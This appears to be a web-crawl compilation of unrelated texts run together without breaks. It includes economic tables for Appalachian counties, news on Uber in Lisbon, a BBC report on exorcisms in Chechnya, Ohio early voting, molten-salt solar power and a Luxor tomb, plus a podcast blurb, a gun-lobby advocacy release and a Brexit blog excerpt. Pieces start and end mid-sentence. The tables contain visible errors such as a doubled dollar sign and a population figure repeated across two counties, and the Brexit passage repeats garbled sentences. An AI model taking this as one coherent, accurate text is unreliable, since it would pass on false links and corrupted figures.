Per Capita Poverty Rate Status Allegany 49,927 5.8% $16,850 15.5% At Risk Broome 200,536 5.0% $24,199 12.8% Transitional Cattaraugus 83,955 5.5% $21,285 13.7% Transitional Chautauqua 136,409 4.9% $19,622 13.8% Transitional Chemung 91,070 5.1% $22,513 13.0% Transitional Chenango 51,401 5.5% $20,896 14.4% Transitional Cortland 48,599 5.7% $21,134 15.5% Transitional Delaware 48,055 4.9% $21,160 12.9% Transitional Otsego 61,676 4.9% $21,819 14.9% Transitional Schoharie 31,582 6.0% $23,145 11.4% Transitional Schuyler 19,224 5.4% $21,042 11.8% Transitional Steuben 98,726 5.6% $28,065 13.2% Transitional Tioga 51,784 4.8% $24,885 8.4% Transitional Tompkins 96,501 3.7% $26,007 17.6% Transitional
County Population Unemployment Rate Market Income
Per Capita Poverty Rate Status Alexander 33,603 5.8% $22,866 8.5% Transitional Alleghany 10,667 5.9% $18,382 17.2% At-Risk Ashe 24,384 5.8% $18,759 13.5% Transitional Avery 17,167 5.2% $18,131 15.3% Transitional Buncombe 206,330 4.0% $27,032 11.4% Transitional Burke 89,148 6.7% $21,216 10.7% Transitional Caldwell 77,415 7.5% $20,559 10.7% Transitional Cherokee 24,298 7.0% $14,637 15.3% At-Risk Clay 8,775 4.8% $16,941 11.4% Transitional Davie 34,835 5.1% $28,942 8.6% Competitive Forsyth 306,067 4.9% $31,922 11.0% Competitive Graham 7,993 8.2% $17,362 19.5% At-Risk Haywood 54,033 4.6% $21,709 11.5% Transitional Henderson 89,173 4.0% $26,449 9.7% Competitive Jackson 33,121 4.2% $22,083 15.1% Transitional Macon 29,811 4.8% $20,931 12.6% Transitional Madison 19,635 4.6% $18,114 15.4% Transitional McDowell 42,151 6.7% $17,929 11.6% Transitional Mitchell 15,687 7.2% $16,171 13.8% At-Risk Polk 18,324 4.0% $31,391 10.1% Competitive Rutherford 62,889 7.5% $19,511 13.9% At-Risk Stokes 44,711 4.9% $21,442 9.1% Transitional Surry 71,219 6.2% $21,621 12.4% Transitional Swain 12,968 6.6% $16,981 18.3% At-Risk Transylvania 29,334 4.4% $23,938 9.5% Transitional Watauga 42,695 3.9% $25,899 17.9% Transitional Wilkes 65,632 6.2% $23,730 11.9% Transitional Yadkin 36,348 4.8% $21,503 10.0% Transitional Yancey 17,774 6.4% $15,555 15.8% At-Risk
County Population Unemployment Rate Market Income
Per Capita Poverty Rate Status Adams 27,330 8.2% $16,496 17.4% At-Risk Ashtabula 102,728 7.2% $19,971 12.1% Transitional Athens 62,223 6.2% $17,478 27.4% Distressed Belmont 70,226 5.8% $19,613 14.6% Transitional Brown 42,285 6.9% $21,053 11.6% Transitional Carroll 28,836 6.6% $19,794 11.4% Transitional Clermont 177,977 5.3% $30,139 7.1% Competitive Columbiana 112,075 6.6% $19,460 11.5% Transitional Coshocton 36,655 7.4% $20,338 9.1% Transitional Gallia 31,069 6.3% $19,658 18.1% At-Risk Guernsey 40,792 7.1% $17,783 16.0% At-Risk Harrison 15,856 6.4% $17,481 13.3% Transitional Highland 40,875 6.3% $20,528 11.8% Transitional Hocking 28,241 6.7% $18,832 13.5% Transitional Holmes 38,943 4.2% $20,215 12.9% Transitional Jackson 32,641 7.9% $17,334 16.5% At-Risk Jefferson 73,894 6.8% $19,858 15.1% Transitional Lawrence 62,319 5.3% $17,249 18.9% At-Risk Mahoning 257,555 6.6% $23,812 12.5% Transitional Meigs 23,072 9.1% $15,102 19.8% Distressed Monroe 15,180 9.2% $17,967 13.9% At-Risk Morgan 14,897 9.6% $13,958 18.4% Distressed Muskingum 84,585 7.8% $20,353 12.9% Transitional Noble 14,058 7.6% $13,556 11.4% At-Risk Perry 34,078 7.7% $16,446 11.8% At-Risk Pike 27,695 9.4% $16,496 18.6% Distressed Ross 73,345 7.0% $20,200 12.0% Transitional Scioto 79,195 7.7% $17,028 19.3% At-Risk Trumbull 225,116 6.6% $22,221 10.3% Transitional Tuscarawas 90,914 5.5% $21,465 9.4% Transitional Vinton 12,806 8.3% $14,116 20.0% Distressed Washington 63,251 5.3% $22,660 11.4% Transitional
Although none of the counties in Pennsylvania have reached Attainment status, six of them have reached Competitive stats. Of the six, four of them (Allegheny, Butler, Washington and Westmoreland) are all part of the Pittsburgh metropolitan area, including the city of Pittsburgh. The area has been largely unaffected by the Great Recession and has seen economic growth due to recent activity in the Marcellus Formation.[2]
County Population Unemployment Rate Market Income
Per Capita Poverty Rate Status Allegheny 1,281,666 4.5% $38,941 11.2% Competitive Armstrong 72,392 5.4% $23,449 11.7% Transitional Beaver 181,412 4.9% $24,802 9.4% Transitional Bedford 49,984 6.1% $19,888 10.3% Transitional Blair 129,144 4.6% $22,536 12.6% Transitional Bradford 62,761 4.9% $20,846 11.8% Transitional Butler 174,083 4.3% $31,614 9.1% Competitive Cambria 152,593 5.6% $20,382 12.5% Transitional Cameron 5,974 7.1% $20,763 9.4% At-Risk Carbon 58,802 6.0% $22,652 9.5% Transitional Centre 135,758 3.8% $27,167 18.8% Transitional Clarion 41,765 5.3% $21,823 15.4% Transitional Clearfield 83,382 5.8% $19,425 12.5% Transitional Clinton 37,914 5.7% $20,410 14.2% Transitional Columbia 64,151 5.5% $23,425 13.1% Transitional Crawford 90,366 5.3% $$19,880 12.8% Transitional Elk 35,112 5.1% $23,904 7.0% Transitional Erie 280,843 5.2% $23,536 12.0% Transitional Fayette 148,644 6.2% $18,834 18.0% At-Risk Forest 4,946 7.1% $11,982 16.4 Distressed Fulton 14,261 6.0% $24,424 10.8% Transitional Greene 40,672 5.5% $18,372 15.9% Transitional Huntingdon 45,586 5.7% $18,905 11.3% Transitional Indiana 89,605 5.0% $23,838 17.3% Transitional Jefferson 45,932 5.0% $20,924 11.8% Transitional Juniata 22,821 4.6% $22,939 9.5% Transitional Lackawanna 213,295 5.2% $25,979 10.6% Transitional Lawrence 213,295 5.6% $21,046 12.1% Transitional Luzerne 319,250 5.5% $25,387 11.1% Transitional Lycoming 120,044 5.3% $23,467 11.5% Transitional McKean 45,936 5.5% $21,872 13.1% Transitional Mercer 120,293 6.0% $21,615 11.5% Transitional Mifflin 46,486 5.6% $19,262 12.5% Transitional Monroe 138,687 5.4% $24,443 9.0% Transitional Montour 18,236 4.2% $30,136 8.7% Competitive Northumberland 94,556 5.6% $21,604 11.9% Transitional Perry 43,602 4.4% $24,861 7.7% Competitive Pike 46,302 5.9% $24,369 6.9% Transitional Potter 18,080 6.8% $22,442 12.7% Transitional Schuylkill 150,336 5.6% $20,922 9.5% Transitional Snyder 37,546 4.9% $22,382 9.9% Transitional Somerset 80,023 5.8% $19,564 11.8% Transitional Sullivan 6,556 5.2% $18,285 14.5% Transitional Susquehanna 42,238 4.9% $22,350 12.3% Transitional Tioga 41,373 5.7% $17,936 13.5% Transitional Union 41,624 5.5% $22,531 8.8% Transitional Venango 57,565 5.3% $19,295 13.4% Transitional Warren 43,863 5.0% $22,401 9.9% Transitional Washington 202,897 4.9% $31,320 9.8% Competitive Wayne 47,722 4.5% $21,725 11.3% Transitional Westmoreland 369,993 4.9% $28,708 8.6% Competitive Wyoming 28,080 5.5% $23,525 10.2% Transitional
County Population Unemployment Rate Market Income
Per Capita Poverty Rate Status Anderson 165,740 6.4% $23,200 12.0% Transitional Cherokee 52,327 7.9% $18,593 13.9% At-Risk Greenville 395,357 5.2% $29,859 10.5% Transitional Oconee 66,215 7.7% $24,991 10.8% Transitional Pickens 110,757 5.7% $21,287 13.7% Transitional Spartanburg 253,791 6.3% $23,290 12.3% Transitional
In Virginia, all municipalities incorporated as "cities" are legally separate from the counties in which they are located. As of the 2000 Census, nine cities were part of the federally designated Appalachia region. This number was reduced to eight in 2001, when Clifton Forge relinquished its city charter and reincorporated as a town within Alleghany County.
County Population Unemployment Rate Market Income
Per Capita Poverty Rate Status Barbour 15,557 5.1% $15,596 22.6% Distressed Berkeley 75,905 4.2% $24,517 11.5% Transitional Boone 25,535 4.2% $16,406 22.0% At-Risk Braxton 14,702 5.1% $14,237 22.0% At-Risk Brooke 25,447 6.0% $20,611 11.7% Transitional Cabell 96,784 4.0% $22,692 19.2% Transitional Calhoun 7,582 6.7% $12,250 25.1% Distressed Clay 10,330 6.4% $12,221 27.5% Distressed Doddridge 7,403 4.8% $16,250 19.8% At-Risk Fayette 47,579 5.0% $15,463 21.7% At-Risk Gilmer 7,160 4.0% $16,822 25.9% At-Risk Grant 11,299 5.2% $19,850 16.3% Transitional Greenbrier 34,453 5.6% $20,060 18.2% Transitional Hampshire 20,203 3.8% $17,146 16.3% Transitional Hancock 32,667 6.1% $20,434 11.1% Transitional Hardy 12,669 4.0% $19,041 13.1% Transitional Harrison 68,652 4.1% $25,006 17.2% Transitional Jackson 28,000 4.8% $18,265 15.2% Transitional Jefferson 42,190 3.3% $31,215 10.3% Competitive Kanawha 200,073 3.8% $30,926 14.4% Transitional Lewis 16,919 4.6% $19,631 19.9% Transitional Lincoln 22,108 5.2% $14,423 27.9% Distressed Logan 37,710 4.5% $16,900 24.1% At-Risk Marion 56,598 3.9% $22,515 16.3% Transitional Marshall 35,519 5.1% $21,293 16.6% Transitional Mason 25,957 6.7% $16,435 19.9% At-Risk McDowell 27,329 6.7% $10,199 37.7% Distressed Mercer 62,980 4.2% $18,191 19.7% Transitional Mineral 27,078 4.6% $19,279 14.7% Transitional Mingo 28,253 4.9% $15,964 29.7% Distressed Monongalia 81,866 3.0% $27,791 22.8% Transitional Monroe 14,583 4.6% $15,380 16.2% At-Risk Morgan 14,943 4.7% $26,818 10.4% Transitional Nicholas 26,562 4.7% $17,905 19.2% At-Risk Ohio 47,427 4.2% $27,798 15.8% Transitional Pendleton 8,196 3.9% $20,271 11.4% Transitional Pleasants 7,514 5.5% $20,858 13.7% Transitional Pocahontas 9,131 7.1% $16,708 17.1% At-Risk Preston 29,334 4.0% $18,942 18.3% Transitional Putnam 51,589 3.5% $28,040 9.3% Competitive Raleigh 79,220 4.1% $21,313 18.5% Transitional Randolph 28,262 5.0% $19,628 18.0% Transitional Ritchie 10,343 5.0% $18,308 19.1% At-Risk Roane 15,446 6.1% $14,434 22.6% Distressed Summers 12,999 5.5% $11,980 24.4% Distressed Taylor 16,089 4.6% $16,815 20.3% At-Risk Tucker 7,321 5.9% $17,487 18.1% At-Risk Tyler 9,592 6.2% $15,851 16.6% At-Risk Upshur 23,404 4.2% $17,987 20.0% At-Risk Wayne 42,903 4.7% $18,768 19.6% Transitional Webster 9,719 5.4% $12,789 31.8% Distressed Wetzel 17,693 7.1% $18,909 19.8% At-Risk Wirt 5,873 5.7% $12,895 19.6% Distressed Wood 87,986 4.6% $22,189 13.9% Transitional Wyoming 25,708 5.2% $15,336 25.1% DistressedThe center will provide support to the company's operations in Europe and it will also create 250 direct jobs by 2018.
Uber has chosen Lisbon to host its Excellence Center for Europe. The center will provide support to the company’s operations in Europe and it will create 250 direct jobs by next year.
The Portuguese capital is one of the cities Uber had been considering for the installation of this operations center, along with Krakow (Poland), Cairo (Egypt), Limerick (Ireland) and Paris (France). This Monday, the technology company announced its decision.
“Uber chose Lisbon as the location of the new Excellence Center for Europe. From Lisbon’s new Center, we will provide a multilingual support to Uber’s operations in Europe, in countries like Spain, France and Portugal. The Excellence Center will create 250 direct jobs by 2018”, is stated in the press release sent to newsrooms.
The press release explains that this new center “will be the main source of knowledge for users and drivers in all of Europe”. With this infrastructure, Uber aims to “improve its services, policies and internal proceedings”. The center will also help users, drivers and restaurants to use the app for Uber’s new food delivery service UberEATS.
"Uber chose Lisbon as the location of the new Excellence Center for Europe. From Lisbon’s new Center, we will provide a multilingual support to Uber’s operations in Europe, in countries like Spain, France and Portugal. The Excellence Center will create 250 direct jobs by 2018.” Uber Press release
The decision was justified with the fact that Lisbon receives “a high amount of qualified professionals”, in addition to representing “a center” for Uber in the south of Europe. “The choice also confirms the reinforcement of our bet in Portugal”, stated Rui Bento, general manager for Uber Portugal, quoted in the press release.Dozens of cars were parked outside. Crowds thronged the pavement, desperate to get through the metal gates.
In the courtyard women were filling plastic bottles and jerry cans with water blessed by the imam.
As I took off my shoes, I noticed a marble plaque on the wall:
"There is no illness which Allah cannot cure".
Inside, huddles of families were camped out on sofas.
There were many tearful faces. Men paced up and down. It might have been an ordinary hospital waiting room until a girl started shrieking and contorting.
A man scooped her up and carried her off into a room off the landing.
Spine-chilling yells came from behind the frosted glass door but nobody turned a hair. Gradually they were stifled by incantations from the Koran.
Most of the patients here are young women and many have suffered breakdowns after being forced into marriage. They are brought to be exorcised and turned into Chechen-style Stepford Wives.
The Centre for Islamic Medicine is an imposing red brick mansion near the centre of Grozny.
It was once the headquarters of the Chechen warlord Shamil Basayev - Russia's number one enemy and the man who masterminded the school hostage siege in Beslan in 2004.
Like many buildings in the Chechen capital, the centre has been expensively renovated.
Two wars for independence from Russia reduced Grozny to rubble.
Turning a blind eye
Since the ceasefire, the Kremlin has bankrolled a reconstruction programme and the main street, renamed Putin Avenue, is now unrecognisable with its pavement cafes, designer shops and sushi bars.
But Ramzan Kadyrov, President of this once-rebel republic in southern Russia, has also built an extensive Muslim infrastructure. It includes one of the world's biggest mosques, religious schools and an Islamic university.
The medical centre is run by Kadyrov's personal doctor. In its first year, it claimed to have cured more than 60,000 people suffering from "psycho-neurological diseases".
She feels no pain... We beat the genie and not the patient. Mullah Mairbek Yusupov, Centre for Islamic Medicine
After 15 years of fighting, there is no shortage of traumatised people in Chechnya.
Mr Kadyrov once fought the Russians but is now their key ally in keeping a lid on the insurgency in the North Caucasus.
In return, the Kremlin turns a blind eye to allegations of torture and violence committed by his personal militia. Kadyrov routinely denies these.
His officials also deny that the Chechen leader puts Islamic law above Russian law.
But in practice Kadyrov has a free hand to impose his own version of what he calls "traditional Chechen Islam".
Imams deemed disloyal to the regime are summarily dismissed. Gangs of men dressed in black, from his newly-opened Centre for Spiritual and Moral Education, roam the streets lecturing passers-by about the evils of alcohol and the right kind of Islam.
Young men accused of siding with rebel fighters have disappeared from their beds at night never to be seen again. Their relatives have been arrested and their homes burned to the ground.
Bride stealings
Women too are targeted by Mr Kadyrov's reforms.
In 2007, in violation of Russian law, he issued an edict banning women and girls without a headscarf from schools, universities and other public buildings.
Since June, unidentified men with paintball guns have driven round the centre of Grozny shooting at girls with uncovered heads.
On state television, Mr Kadyrov said he did not know who was responsible for the attacks but added: "When I find them, I will express my gratitude."
When I met the Chechen president in the capital's football stadium last summer, he told me: "Women are so much more interesting when they are covered up."
Officials nearby smiled awkwardly as Kadyrov boasted that Chechen men can take "second, third and fourth wives" and that polygamy, illegal in Russia, was the best way to revive his war-ravaged republic.
According to some estimates, one in five Chechen marriages begins when a girl is snatched off the street and forced into a car by her future groom and his accomplices. The internet is full of videos of these "bride stealings" set to romantic music.
More often than not, the girl is pressured into marrying her kidnapper to preserve family honour and avoid triggering a blood feud. Some are resigned to their fate and make a surprising success of their marriages.
For others, that is far from the case.
Blindfolded and beaten
Lipkhan Bazaeva, who runs an organisation called Women's Dignity, says brides are often brought in by mothers-in-law who believe the girl is possessed by evil spirits or "genies".
"Just imagine - her son has stolen a girl he liked and married her. What they want is a nice, quiet, hard-working woman in the house, not someone who's feeling down from the moment she wakes up and who's hysterical in the evening. So they take them to the mullah."
I was struck by the readiness of patients and relatives alike to accept the treatment, and even to come back for more
Mullah Mairbek Yusupov is a small bearded man dressed in a green surgeon-style top and skull-cap. He appeared pleasant enough to me, softly spoken, until I saw him at work.
The patient was lying blindfolded on her back, wearing a long, flowery robe. Mairbek began yelling verses from the Koran into her ear and beating her with a short stick.
"She feels no pain," he said. "We beat the genie and not the patient."
The woman, probably in her early twenties, was writhing on the bed: "Shut up! Leave me alone," she growled.
Mairbek claimed this strange voice belonged to the genie possessing her. He shouted back: "Take your claws out of this woman. Aren't you ashamed? Go on! Leave her body like you did last time, through her toe."
With a deadpan expression, Mairbek explained that the genie inside the girl was 340 years old.
He was not a Muslim - he was a Russian man called Andrei and he had fallen in love with his victim.
The genie was so jealous that he made her leave her husband. "It was a tough case," he added. This was already the seventh time he had treated this patient.
Later I spoke to the girl's aunt, who had also watched the exorcism. She said her niece was stolen at the age of 16 and had since been through two divorces.
"She wants to be alone all the time," she sighed. "She doesn't want to talk or see anyone and nothing makes her happy."
The girl's despairing family were hoping doctors at the Centre could turn her into an obedient wife so they could marry her off again.
Tragedy
A few days later I met Marryat, another patient. She had been stolen for marriage but found her kidnapper was already married to somebody else. Now she is convinced that his first wife put a curse on her in the form of two genies.
When she split from her husband, Marryat had to give up her baby son.
According to Chechen traditions, after divorce children are raised by the husband and in-laws. Former wives almost never get custody despite their rights under Russian law. It is considered shameful to go to court.
I asked Mairbek if he always blamed the genies for marital breakdown. Perhaps, I suggested, some women are traumatised by being abducted and forced into marriage or by losing their children?
Mairbek was dismissive.
"We have so many young girls with these problems. I had a patient today whose genie tells her she should divorce, that her husband doesn't love her; that she shouldn't stay in an unhappy marriage for the sake of the children."
"But that's just the genie trying to get its own way and we have to put a stop to that," he said.
Whatever I felt about his methods, Mairbek did not strike me as a sadistic man.
I was struck by the readiness of patients and relatives alike to accept the treatment, and even to come back for more.
The therapy is a way of making them accept, or at least deal with, what has happened. But, it is most of all, an expression of their powerlessness.
The tragedy of these women is that they have nowhere else to go.
This World: Stolen Brides will be broadcast on Wednesday, 11 August 2010 at 1900 BST on BBC Two. Or catch up afterwards on BBC iPlayerA top Ohio Republican Sunday stood by his comment that the state's voting procedures shouldn't be "contort[ed] to accommodate the urban — read African-American — voter-turnout machine."
In an interview with BuzzFeed, Franklin County GOP Chairman Doug Preisse, a close ally of Governor John Kasich, said his comment — which provoked Democratic outrage — was simply straight talk.
Democrats "are trying to say that I had somehow consciously constrained hours for that purpose," Preisse said. "No, I am saying the opposite, that I am asking the question, and I am indeed questioning how far this process of democratic, small ‘d’, democratic voting process should be contorted to favor a political operation. I don’t think we should go overboard in doing that."
Preisse's comment to today's Columbus Dispatch were taken as a smoking gun by Democrats and progressives, who said — as one liberal Ohio blogger wrote — that Preisse had acknowledged an effort to "suppress black voters."
Preisse scoffed at the criticism, telling BuzzFeed of a disputed voting plan put forth by Republican Ohio Secretary of State Jon Husted, "I believe it should be easy to vote, and I believe that under this plan it is.
"I believe that Republicans and Democrats of good will can have a difference of opinion, an honest difference of opinion here, but I also believe that there is no question that the forces of Obama and the other side of the aisle would love to just throw the barn doors open and have 24-hour voting and just go too far in the other direction," Preisse said. "It seems to me we can have a reasonable discussion about this."
Of Democrats' early voting efforts, he said, "How far should the taxpayers be asked to go to accommodate that political operation? That’s where we’re having a difference of opinion."
Preisse's comments were unusual because they pointed directly to a rarely-mentioned reality in high-minded discussions about voting rights and voter fraud: raw political advantage. The Ohioan's blunt remarks point to the calculus behind rule-making in intensely partisan states like Ohio: Getting your voters — but not the other sides' voters — out to vote.
Saying that the actions he and other Republicans have taken in the state to limit weekend early voting from what it had been in the 2008 election are “clearly” not an effort to “retard voting rights and privileges,” Preisse said, “We have many options and many ways” that Ohioans can vote, “and early voting is one of them.”
Asked specifically about his quote regarding the "urban — read African-American — voter-turnout machine," Preisse said, "I said I believe that there’s a line of how far that taxpayers should have to go to match a specific political operation, and that’s what I mean.”
The Ohio Democratic Party chairman, Chris Redfern, signaled that the party will make Preisse's comments a rallying cry this fall.
"Doug Preisse is carrying his friend John Kasich's water. Doug Preisse cannot walk back his racially charged comments directed at African-American Ohioans because it is what he believes," he told BuzzFeed.
Regarding a directive from Husted issued this past week to set uniform hours for early in-person voting across the state, hours that did not include any weekend hours, Preisse said, "I was glad to see the Secretary of State make uniform the hours; I was not comfortable with hours that were not uniform across the state.” Noting that there are some evening hours included, he added, “I feel like that was a move in the right direction. How much farther should we go? Well, I’m comfortable with where we are."
Redfern countered, "Kasich and Preisse know we have an extraordinary ground operation this year and the GOP wil do anything, including ignoring state law to undermine the will of voters. If early voting in Ohio is permitted to occur according to state law, more voters will turn out — something Preisse does not want to see."
Preisse said that the Democrats' turnout efforts would be successful under Husted's plan for the elections in Ohio, independent of the weekend early voting issue, saying, "They’re going to have a successful voter turnout... that’s what they do, that’s what they’re supposed to do, and they’re good at it."
He added: "It has been noted, too, that there are some places where they don’t have early voting at all. Compared to those places, it’s much easier to vote [in Ohio]."
Democrats, nonetheless, are not settling on Husted's rules, with a hearing set for Monday morning for the removal of two county elections board officials in Montgomery County who voted to allow for weekend early voting in spite of Husted's order.Chocolate Chip - EP44 Never Had A Dream
Finally, an episode recorded with the original crew. We’re taking it back to episode 1 with just myself, Levi Kage and Grimey on the mic. It’s a 2 hour special filled with our usual nonsensical banter and listener trolls. If all goes to plan your 2012 will kick off to an awful start as you fail to get that song out of your head by the end of it.
Looking back at some of the lofty goals I set myself at the start of 2011 it would seem stupid to have a second go. Instead I’ll just pretend that whatever I end up achieving at the end of this year will be the full extent of plans I had at the start, if anything I’ll pretend they overshot my unwritten and undecided expectations as some form of motivation for the year after.
As you can see I have devised a new layout for a new year. Covers now include the release date and the members who feature on the episode. I’m also going to try and write a few words about the cover photo for every episode. This one was taken outside Fabric on boxing day before we went in. Levi Kage is in the phone box on the right. I believe he’s placing a dangerous substance known as “Slush Puppie Squeeze Candy” on top of the phone. I don’t recommend ever buying it. If you're unfortunate enough to be offered some by a shady type don’t get any on your clothes / skin or be prepared to peel away a part of your garments / body parts off to remove it. This asian yout will soon see the light when he has to remove his eyebrow after a squeeze misfire.
So enjoy the episode and enjoy the new year.
- Roshman.
—
Like us on Facebook. Subscribe to us on iTunes.A Magazine article describing Canberra on its 100th birthday as a city struggling to convince outsiders that it has more to offer than political hot air, prompted many Canberra fans to sing its praises.
Sydney is often thought of as brash and bold, Melbourne cool and classy, but Canberra, at least in the Australian public imagination, is |
salts. Their collector tubes use a heat-stable metalloceramic coating to maximize heat absorption, as well as thicker titanium-stabilized steel pipes to resist bending at high temperatures. Paolo Martini, Archimede’s business development director, says the plant is operating well. Enel plans to build a 30-megawatt plant in Sicily.
Since 2009, Siemens has amassed a 45 percent stake in Archimede, but it has opted to go back to pilot-scale to optimize the molten-salt concept before offering commercial-scale plants to global clients. “We are convinced the technology itself will work. But a lot of work needs to be done to optimize the economics,” says Mürau.
Siemens is building a molten-salt pilot plant on the grounds of the University of Evora in Portugal. The plant should be operating by early next year. The plant—part of a German research consortium including salt and chemicals giant K+S AG and the German Aerospace Center—will be used to drive down energy losses associated with both the highest and lowest temperatures that a commercial plant will experience.
At the high end, the losses come from heat that’s captured by the collector tubes and then dissipated before it can be delivered to the plant’s turbines. “The heat loss is an exponential curve, and it climbs very steeply at the higher temperatures,” explains Mürau. Siemens will seek to achieve the highest temperatures possible without going so high that these losses outweigh the gains from the hotter steam.
The low-end challenge stems from molten salt’s high freezing point. The mixture of molten potassium and sodium nitrate used in heat storage systems and in Enel’s demo plant freezes when it cools below 220 °C. Freezing is easy to prevent in centralized energy storage tanks, but presents a serious risk in kilometer-long stretches of collector tube. To counter the freezing threat, Enel’s plant maintains the salt in its tubes above 290 °C, using considerable heat that could otherwise be used to generate power. Mürau says Siemens is looking for a salt formulation with a 150 °C or lower freezing point, which would mean they’d have to use much less heat to prevent the tubes from freezing.
If Siemens’s efforts succeed, trough plants heating molten salt could reduce the cost of power generation by more than 10 percent compared to an oil plant, according to Mürau. (Estimates of current solar thermal costs vary between 13 to 20 cents per kilowatt-hour, which is still significantly higher than power generated by fossil fuels.) The cost reduction comes from both a several-percent increase in generation from turbines running on hotter steam, and a lower cost of construction.
However, some experts argue that the risk of freezing could still be a deal-killer for commercializing molten-salt-based plants. Thomas Mancini, program manager for Sandia National Laboratory’s concentrating solar-power program, says he remains “skeptical” of using molten salts in collector tubes given the inherent freezing threat. Mancini says that even at 100 °C (the temperature that boils water), there would be a significant risk of freezing.
But others in the industry are warming to molten salt’s potential. In January, for example, Colorado-based SkyFuel kicked off a $4.3-million R&D effort, supported by the U.S. Department of Energy, to scale up its metallic film-based trough mirrors for use with high-temperature collector tubes.Luxor, Egypt (CNN) Egyptian authorities unveiled a previously undiscovered ancient tomb belonging to a goldsmith and his wife near Luxor in southern Egypt on Saturday.
The tomb, at the Draa Abul Nagaa necropolis, contains "mummies, sarcophagi, statuettes, pots and other artifacts," according to Egypt's Ministry of Antiquities.
It belonged to Amenemhat -- which means the god "Amen Is In the Forefront" -- and his wife Amenhotep, said Mostafa Al-Waziri, who led the Egyptian team which unearthed the 3,500-year-old tomb.
While Amenhotep is usually a man's name, Waziri said, the team found references inside the tomb that indicated she was the lady of the house.
CNN was the first media outlet to be given access to the tomb on the day of the announcement.
Researchers discovered a number of skulls inside the tomb.
The entrance to the recently-discovered tomb of an ancient goldsmith.
Read MoreCongressman Ron Paul Introduces Legislation to Protect School Children from Mass Murderers
Washington, DC –-(Ammoland.com)- Columbine. Virginia Tech. Fort Hood.
What do all of these shootings have in common?
The answer is they all occurred in government facilities where the private possession of firearms was prohibited.
In Washington, unconstitutional legislation is commonplace. But sometimes unconstitutional laws can have deadly consequences. The so-called “gun free school zones act,” written by radical anti-gun Senator Heb Kohl, is one such law.
Slammed through in 1996 as an amendment to a giant last-minute must-pass appropriations bill, the legislation disarmed school staff and other adults – leaving elementary and secondary school children defenseless to serial killers.
It also made it virtually impossible to drive your car down the street with your gun inside without violating the law by creating a 1000-foot so-called “gun-free zone” around every public and private school in the country.
“Gun free,” that is, except for the criminals.
No one – including politicians, the police, or the individual citizen – can predict where the next deranged serial killer will attack. And yet politicians continue to create “criminal safe zones” such as schools, churches, parks, restaurants that serve alcohol, etc., where the law-abiding are disarmed.
The net impact of turning schools, in particular, into defenseless targets for serial killers has been dramatic.
When many people over the age of 40 were growing up, ROTC students would march up-and-down high school campuses with their semi-automatic M1’s – and no one would think anything of it. Shooting clubs on school grounds were also not uncommon.
But within a couple a years of the enactment of the Kohl amendment, two disaffected teenagers walked into Columbine High School secure in the knowledge that they would be the only ones in the school who were armed.
And, of course, Columbine triggered a slew of copycat episodes – laying a mounting string of innocent casualties at the feet of Herb Kohl and his misbegotten legislation.
It’s time to say NO to criminal safe zones. And a great place to start is the blatantly unconstitutional gun free school zones act.
Thankfully, Congressman Ron Paul (R-TX) agrees and has introduced legislation to do just that.
Rep. Paul recently introduced the “Citizens Protection Act of 2011” (H.R. 2613), which will repeal the Kohl amendment and thus remove the federally created criminal safety zones.
Rep. Paul is one of the few members of Congress who respects the Constitution and who actually introduces legislation to restore federalism. And, unlike some legislators, Paul has a history of forcing the House to vote on his pro-gun proposals, thus putting other congressmen on record.
GOA is proud to stand with Rep. Paul in the effort to repeal the unconstitutional gun free zones law. For anyone who cares about liberty, now is the time to work on getting the 218 votes we need to pass this important piece of legislation.
ACTION: Contact you congressman. Urge him or her to cosponsor Ron Paul’s Citizens Protection Act of 2011, H.R. 2613.
Gun Owners of America
8001 Forbes Place, Suite 102
Springfield, VA 22151
Phone: 703-321-8585
FAX: 703-321-8408
www.gunowners.org
About:
Gun Owners of America (GOA) is a non-profit lobbying organization formed in 1975 to preserve and defend the Second Amendment rights of gun owners. GOA sees firearms ownership as a freedom issue. `The only no comprise gun lobby in Washington' – Ron PaulProfessor Steve Peers, University of Essex, University of Essex
Introduction
The recent ‘ joint report ’ on the progress in the Brexit negotiations (accompanied by a Commission paper ) amounted to an informal deal to proceed to the second phase of Brexit talks. Indeed, on the basis of the joint report, the EU27 side has since agreed there is ‘sufficient progress’ in the talks to move to the second phase. This phase will focus on a transition period (discussed here ; and see the EU negotiation guidelines on the transition period here ) and (starting possibly in March 2018) the framework for the post-Brexit relationship between the UK and the EU.
I have previously blogged on the parts of the deal dealing with the rights of citizens of the EU27 in the UK, and British citizens in the EU27. Here I want to focus on the rest of the joint report, concerning the Irish border, the financial settlement, and ‘winding up’ issues. As I discussed in the Conversation, the joint report is not legally binding, but sets out political commitments, which will be crucial to the final conclusion of the withdrawal agreement and the negotiation of the future EU/UK relationship. Moreover, they will be set out in detail when drawing up the formal text of the withdrawal agreement, which will begin shortly. It should be noted that some points still need to be negotiated or fleshed out, and any agreement on what happens in the transition period will have to be added to the withdrawal agreement. Yet overall the recent deal is undeniably significant, making it rather more likely that a final complete withdrawal agreement will be agreed.
other provisions of the agreement must be made part of UK law. In the citizens’ rights part of the deal, the UK has committed to bring forward a bill for an Act of Parliament giving domestic legal effect to the withdrawal agreement, making express reference to the agreement and making the citizens’ rights provisions part of UK law. However, there is no explicit commitment that theprovisions of the agreement must be made part of UK law.
Irish border issues
These proved to be the most difficult parts of the joint report to agree, given the divergence of views between Ireland (backed by the rest of the EU27), the Democratic Unionist Party (the DUP: unionist MPs from Northern Ireland who prop up the Conservative party’s minority government), and within the Conservative government.
and Northern Ireland saying part of the UK’s internal market, as the UK leaves the EU’s internal market and customs union. It’s the difficulty reconciling these positions with the intention to avoid a hard border that causes problems. The starting point is the continued commitment of both sides to the Good Friday Agreement, which effectively ended the long period of violent conflict relating to the status of Northern Ireland. The joint report also refers to the UK government’s intention to avoid a ‘hard border’ between Northern Ireland and Ireland, meaning the absence of ‘physical infrastructure or related checks or controls’ at the land border. To reassure the DUP, both sides agree to uphold the ‘principle of consent’ in the Good Friday Agreement (ie, Northern Ireland would have to vote in favour of unification with Ireland), and the UK supports Northern Ireland remaining part of the UK in the absence of such consent. The UK respects both Ireland staying part of the EU internal market and customs unionNorthern Ireland saying part of the UK’s internal market, as the UK leaves the EU’s internal market and customs union. It’s the difficulty reconciling these positions with the intention to avoid a hard border that causes problems.
The joint report does not ‘predetermine’ the broader talks on the EU/UK relationship, which may be ‘specific’ as regards the ‘unique circumstances’ on the island of Ireland. The commitments are ‘made and must be upheld in all circumstances, irrespective of the nature of any future agreement between’ the UK and the EU. However, it is hard to see how this could amount to a legal obligation that will apply even in the event of a failure to agree a withdrawal agreement.
